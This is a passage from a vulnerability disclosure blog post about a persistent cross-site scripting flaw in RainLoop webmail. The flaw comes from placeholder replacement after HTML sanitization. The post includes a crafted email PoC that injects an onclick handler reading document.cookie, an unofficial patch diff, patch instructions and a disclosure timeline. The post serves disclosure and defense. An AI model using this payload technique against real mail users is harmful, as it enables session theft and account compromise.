**rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php**

     252    $sResult = \str_replace('___xxx___', $sResult, $sWrp);

This would finally yield the following HTML code:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="abc">
            <h1>Hello!</h1>
            <p>I hope you are doing good!</p>
        </div>
    </div>

**  
The Logic Bug**

As an attacker can control the attributes of a <body> tag and their values, they could create a <body> tag with an attribute value of \_\_\_xxx\_\_\_.

This could, for example, result in the following HTML markup:

    <div data-x-div-type="html">
        <div data-x-div-type="body" data-some-attr="___xxx___">
            ___xxx___
        </div>
    </div>

As str\_replace() replaces the \_\_\_xxx\_\_\_ string as many times as it can find, an attacker can insert controlled user input into the quoted value of the data-some-attr. Let’s assume an attacker crafted an email as follows:

    <body data-some-attr="___xxx___">
    <div title="x onclick='alert(document.cookie);//' y">
        XSS PoC
    </div>
    </body>

In this case, the HTML markup would result in the following after replacing \_\_\_xxx\_\_\_ with the rest of the HTML code:

    <body data-some-attr="<div title="x onclick='alert(document.cookie);//' y">
    XSS PoC
    </div>">

**  
Patch**

At the time of writing, no official patch is available. We recommend the RainLoop fork SnappyMail. It has great security improvements and is actively maintained. We would like to thank the maintainers of this fork for their quick response and analysis of this issue. They confirmed to us that they are not affected. For this reason, we recommend users of RainLoop migrate to SnappyMail in the long term.

To help in the short term, we encourage users to apply the following inofficial patch that we developed (please carefully use at your own risk):

    --- /tmp/HtmlUtils.php  2022-04-11 09:34:35.000000000 +0200
    +++ rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php    2022-04-11 09:35:12.000000000 +0200
    @@ -239,7 +239,8 @@
                   $oWrapHtml->setAttribute($sKey, $sValue);
               }
    -           $oWrapDom = $oDom->createElement('div', '___xxx___');
    +           $rand_str = base64_encode(random_bytes(32));
    +           $oWrapDom = $oDom->createElement('div', $rand_str);
               $oWrapDom->setAttribute('data-x-div-type', 'body');
               foreach ($aBodylAttrs as $sKey => $sValue)
               {
    @@ -250,7 +251,7 @@
               $sWrp = $oDom->saveHTML($oWrapHtml);
    -           $sResult = \str_replace('___xxx___', $sResult, $sWrp);
    +           $sResult = \str_replace($rand_str, $sResult, $sWrp);
           }
           $sResult = \str_replace(\MailSo\Base\HtmlUtils::$KOS, ':', $sResult);

In order to use this patch:

1.  Create a backup of your RainLoop files!
2.  Upload the patch file contents above to a file called rainloop\_xss.patch and store it in the root directory of your RainLoop installation
3.  Run the following command:

    patch rainloop/v/1.13.0/app/libraries/MailSo/Base/HtmlUtils.php < rainloop_xss.patch

**Please note that your path may vary, depending on the version of RainLoop you use. In the example above, version 1.13.0 is used. Make sure to use the correct version in your path.  
**

**Timeline**

Date

Action

2021-11-30

We request a security contact by contacting support@rainloop.net. No response

2021-12-06

We request a security contact by creating a GitHub issue. No response

2022-01-03

We contact the vendor via email and the GitHub issue and inform them of our 90-day disclosure policy. No response

**Summary**

In this blog post, we analyzed a Persistent Cross-Site-Scripting vulnerability in RainLoop that triggers when a victim views a maliciously crafted email. The vulnerability occurred due to a logic bug **after** the sanitization process, which is often overlooked by security audits. We have found similar bugs in high-profile targets such as Zimbra and WordPress. In general, we recommend developers to not modifying any data after it has been sanitized, as any modification could reverse the sanitization step. Additionally, it is recommended to work with a DOM tree object, rather than operating on HTML text, as this leaves much more room for mistakes.  

**Related Blog Posts**

*   WordPress CSRF to RCE
*   MyBB From Stored XSS to RCE
*   Zimbra Webmail compromise via email
*   SmartStore.net Malicious message leading to eCommerce takeover

Tag

#rce